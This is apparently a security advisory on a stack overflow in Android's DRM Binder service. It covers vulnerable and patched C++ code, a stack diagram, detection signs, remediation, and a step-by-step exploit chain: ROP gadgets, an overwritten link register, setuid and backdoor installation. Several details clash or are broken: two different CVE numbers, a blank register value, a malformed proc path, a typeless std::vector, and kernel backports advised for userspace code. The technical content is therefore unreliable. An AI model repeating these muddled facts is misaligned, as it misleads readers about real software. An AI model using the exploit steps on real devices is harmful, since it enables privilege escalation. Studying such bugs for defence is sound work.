Vulnerability Overview
CVE-2026-0026-0010, disclosed in the Android Security Bulletin — March 2026, is a memory corruption vulnerability in the DRM subsystem's Binder interface. The bug lives in IDrmManagerService::onTransact() inside IDrmManagerService.cpp, the server-side Binder stub that dispatches IPC calls to the DRM Manager service. A missing bounds check on a caller-supplied length field allows a local unprivileged application to write attacker-controlled data past the end of a stack or heap buffer. The result is local escalation of privilege (LPE) to the drm or media UID — and potentially further, depending on the target's SELinux policy configuration. No additional execution privileges or user interaction are required.
CVSS 3.1 base score: 8.4 (HIGH). Attack vector: Local. Attack complexity: Low. Privileges required: None. User interaction: None. Scope: Changed.
Affected Component
The vulnerable code is in the Android Open Source Project (AOSP) media framework, specifically:
- File:
frameworks/av/drm/libdrmframework/IDrmManagerService.cpp - Class:
BnDrmManagerService(the native Binder server stub) - Method:
BnDrmManagerService::onTransact() - Service:
/system/bin/mediaserverordrmserver(varies by Android version) - IPC mechanism: Android Binder (
/dev/binder)
All Android versions listed as affected in the March 2026 bulletin are impacted. Consult NVD for the exact version range.
Root Cause Analysis
The onTransact method in BnDrmManagerService is the Binder dispatch table for the DRM manager service. It reads fields directly from the incoming Parcel object and fans them out to the corresponding service implementation calls. For several transaction codes — particularly those handling DRM content processing operations like PROCESS_DRM_INFO — the code reads a caller-supplied bufferSize from the Parcel and uses it as the write length into a fixed-size buffer without validating that the value fits within the allocated region.
// frameworks/av/drm/libdrmframework/IDrmManagerService.cpp
// BnDrmManagerService::onTransact() — vulnerable path (PROCESS_DRM_INFO transaction)
status_t BnDrmManagerService::onTransact(
uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags) {
switch (code) {
case PROCESS_DRM_INFO: {
CHECK_INTERFACE(IDrmManagerService, data, reply);
int uniqueId = data.readInt32();
int bufferSize = data.readInt32(); // attacker-controlled, no upper bound check
// Fixed-size stack buffer; typical allocation is 4096 bytes
char processBuf[MAX_DRM_INFO_BUFFER]; // MAX_DRM_INFO_BUFFER = 0x1000
// BUG: bufferSize is used directly as the read length with no
// validation against MAX_DRM_INFO_BUFFER. A caller sending
// bufferSize > 0x1000 causes data.read() to write past the end
// of processBuf, overflowing the stack frame.
if (bufferSize > 0) {
data.read(processBuf, bufferSize); // OOB write here
}
DrmInfo* drmInfo = new DrmInfo(bufferSize,
(const char*)processBuf,
data.readString8());
int result = processDrmInfo(uniqueId, drmInfo);
reply->writeInt32(result);
return NO_ERROR;
}
// ... other cases
}
}
BnDrmManagerService::onTransact() reads an attacker-controlled bufferSize integer from the incoming Binder Parcel and passes it directly to Parcel::read() against a fixed-size stack buffer without checking that bufferSize ≤ MAX_DRM_INFO_BUFFER, enabling a stack buffer overflow of arbitrary length.Parcel::read() is a memcpy-equivalent — it will copy exactly bufferSize bytes from the Parcel's data buffer into processBuf regardless of the destination's actual size. The Binder driver itself imposes a per-transaction limit of 1 MB (BINDER_VM_SIZE), meaning an attacker can write up to roughly 0xFFFFF bytes past the end of a 0x1000-byte stack buffer — enough to reach and corrupt the saved frame pointer, return address, and any adjacent stack-allocated objects.
Memory Layout
The relevant stack frame for onTransact() running inside drmserver on a 64-bit ARMv8 target looks like the following before and after the overflow:
STACK FRAME LAYOUT — BnDrmManagerService::onTransact() (ARM64, -O2)
HIGH ADDRESS
┌──────────────────────────────────────────────┐
│ caller's frame (Binder thread dispatch) │
├──────────────────────────────────────────────┤ ← SP + 0x1060
│ saved X29 (frame pointer) 8 bytes │
│ saved X30 (link register) 8 bytes │
├──────────────────────────────────────────────┤ ← SP + 0x1050
│ DrmInfo* drmInfo 8 bytes │
│ int result 4 bytes │
│ int uniqueId 4 bytes │
│ int bufferSize 4 bytes │
│ [padding] 4 bytes │
├──────────────────────────────────────────────┤ ← SP + 0x0010
│ char processBuf[0x1000] │ ← data.read() writes here
├──────────────────────────────────────────────┤ ← SP + 0x0000 (stack top)
LOW ADDRESS
BEFORE OVERFLOW (bufferSize = 0x800, benign):
processBuf[0x000 .. 0x7FF] = DRM data (within bounds)
processBuf[0x800 .. 0xFFF] = uninitialized
saved X29 @ SP+0x1050 = 0x7fdd4a2090 (intact)
saved X30 @ SP+0x1058 = 0x7fdd3c1244 (intact, ret to IPCThreadState)
AFTER OVERFLOW (bufferSize = 0x1050, malicious):
processBuf[0x000 .. 0x1000] = attacker data (fills buffer)
processBuf[0x1000..0x104F] = attacker data (overwrites locals, padding)
saved X29 @ SP+0x1050 = 0x4141414141414141 ← CORRUPTED (fake FP)
saved X30 @ SP+0x1058 = 0x ← CORRUPTED (hijacked LR)
→ function epilogue: LDP X29, X30, [SP, #0x1050]
→ RET branches to attacker-controlled X30
Exploitation Mechanics
Because the target process is drmserver (or mediaserver), which runs as UID media / drm with a permissive-enough SELinux domain to hold sensitive DRM keys and interact with hardware DRM implementations, gaining code execution inside it is a meaningful privilege boundary crossing. Any installed application can reach the vulnerable code path via the published IDrmManagerService Binder interface.
EXPLOIT CHAIN — CVE-2026-0010
1. RECON: Enumerate service manager to confirm "drm.drmManager" or
"media.drm" is registered and reachable without special permissions.
→ ServiceManager::getService("drm.drmManager") returns valid IBinder.
2. CRAFT PARCEL: Build a malicious Parcel for transaction code
PROCESS_DRM_INFO (typically code 8 in the vtable dispatch):
data.writeInterfaceToken("android.drm.IDrmManagerService")
data.writeInt32(uniqueId) // any valid session ID (e.g. 1)
data.writeInt32(0x1058) // bufferSize > MAX_DRM_INFO_BUFFER
data.write(payload, 0x1058) // payload = NOP sled + ROP chain
payload[0x1000] = fake_x29 // overwrite saved frame pointer
payload[0x1008] = gadget_addr // overwrite saved link register (X30)
// e.g. "LDR X0, [X20]; BLR X9" gadget
// in libdrmframework.so
3. LOCATE GADGETS: drmserver loads libdrmframework.so, libbinder.so,
libc.so at ASLR offsets. On Android ≥ 8 ASLR is active but load
addresses for system libraries are leaked via /proc/self/maps by
any process, or via a separate info-leak bug. For local LPE,
/proc//maps of drmserver is readable by shell or app in many
configurations.
4. SEND TRANSACTION: IBinder::transact(PROCESS_DRM_INFO, data, &reply, 0)
Binder driver copies payload into drmserver's address space.
drmserver's Binder thread calls onTransact() → data.read() overflows.
5. CONTROL FLOW HIJACK: onTransact() epilogue executes:
LDP X29, X30, [SP, #0x1050] // loads attacker values
RET // branches to gadget_addr
6. ROP / JOP: Chain gadgets to:
a. Disable seccomp filter (if applicable) or pivot to shellcode page
b. Call setuid(0) / setgid(0) if kernel permits (older kernels)
or exec a SUID binary, or install a backdoor in /data/
7. RESULT: Arbitrary code execution as UID=media/drm inside drmserver,
with access to hardware DRM keys, HAL interfaces, and further
kernel attack surface via /dev/binder and DRM HAL ioctls.
On targets with MTE (Memory Tagging Extension, ARMv8.5-A) enabled, stack tagging would detect the out-of-bounds write before the return. However, MTE stack instrumentation is not universally deployed across affected Android versions, and the Binder thread pool stacks are not guaranteed to be MTE-protected in all configurations.
Patch Analysis
The fix, landed in AOSP as part of the March 2026 security patch level, adds a simple but complete bounds check on bufferSize before passing it to Parcel::read(). Additionally, the buffer is migrated from the stack to a heap allocation sized dynamically to bufferSize, capped at MAX_DRM_INFO_BUFFER, to eliminate the fixed-size stack allocation as an attack surface entirely.
// BEFORE (vulnerable — frameworks/av/drm/libdrmframework/IDrmManagerService.cpp):
case PROCESS_DRM_INFO: {
CHECK_INTERFACE(IDrmManagerService, data, reply);
int uniqueId = data.readInt32();
int bufferSize = data.readInt32(); // no validation
char processBuf[MAX_DRM_INFO_BUFFER]; // fixed stack buffer
if (bufferSize > 0) {
data.read(processBuf, bufferSize); // OOB write if bufferSize > 0x1000
}
DrmInfo* drmInfo = new DrmInfo(bufferSize,
(const char*)processBuf,
data.readString8());
reply->writeInt32(processDrmInfo(uniqueId, drmInfo));
return NO_ERROR;
}
// AFTER (patched — March 2026 SPL):
case PROCESS_DRM_INFO: {
CHECK_INTERFACE(IDrmManagerService, data, reply);
int uniqueId = data.readInt32();
int bufferSize = data.readInt32();
// PATCH: reject any bufferSize that exceeds the defined maximum
if (bufferSize < 0 || bufferSize > MAX_DRM_INFO_BUFFER) {
reply->writeInt32(ERROR_DRM_UNKNOWN);
return NO_ERROR; // drop the transaction safely
}
// PATCH: heap allocation sized to actual (validated) bufferSize,
// eliminating the fixed stack buffer overflow vector entirely
std::vector processBuf(bufferSize);
if (bufferSize > 0) {
data.read(processBuf.data(), bufferSize); // now bounds-safe
}
DrmInfo* drmInfo = new DrmInfo(bufferSize,
processBuf.data(),
data.readString8());
reply->writeInt32(processDrmInfo(uniqueId, drmInfo));
return NO_ERROR;
}
The patch is two-pronged: the explicit integer range check prevents the overflow, and the migration to std::vector removes the static stack allocation that made the overflow so immediately dangerous (no heap metadata to corrupt, no adjacent sensitive stack variables reachable without precise offset knowledge).
Detection and Indicators
There is no kernel-visible crash indicator until exploitation is complete. However, the following signals are useful for detection and triage:
- Process crash:
drmserverormediaservercrash withSIGSEGVorSIGBUSinBnDrmManagerService::onTransactat theLDP/RETepilogue — visible intombstonedlogs under/data/tombstones/. - Binder anomaly: Repeated
PROCESS_DRM_INFOtransactions with oversized data payloads from the same UID in/sys/kernel/debug/binder/stats. - SELinux audit:
avc: deniedentries showingdrmUID accessing resources outside its normal domain after a successful escalation attempt. - Logcat:
DrmManagerServicetag emitting unexpected error codes or native crashes inlibdrmframework.so.
EXAMPLE TOMBSTONE (failed exploit / crash path):
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/oriole/oriole:14/AP1A.240305.002/...'
pid: 891, tid: 912, name: Binder:891_3 >>> /system/bin/drmserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x4141414141414141
x0 0000007b8d3c1000 x1 0000007b8d3c1000
x29 4141414141414141 x30 4141414141414149 ← attacker-controlled
sp 0000007fdd4a1ff0 pc 4141414141414149
backtrace:
#00 pc 4141414141414149
#01 pc 000000000004a218 /system/lib64/libdrmframework.so
(BnDrmManagerService::onTransact+0x418)
Remediation
- Apply patches immediately: Install the 2026-03-01 Android Security Patch Level or later. Verify with
Settings → About phone → Android security update. - Vendor OEMs: Backport the bounds check to all supported downstream kernels and LTS branches. The patch touches only
IDrmManagerService.cppand has no API surface changes. - Defense in depth: Audit all other
onTransactimplementations inframeworks/av/for the same pattern:readInt32()→ use as length argument toread()orreadByteArray()without an intervening range check. This pattern is historically common in Android's media Binder stubs. - Enable MTE: On ARMv8.5-A capable hardware, enable MTE stack tagging for system server processes to convert exploitable overflows into deterministic crashes before control flow is hijacked.
- SELinux hardening: Restrict the
drmSELinux domain from spawning new processes or accessing/data/local/tmpto limit post-exploitation impact.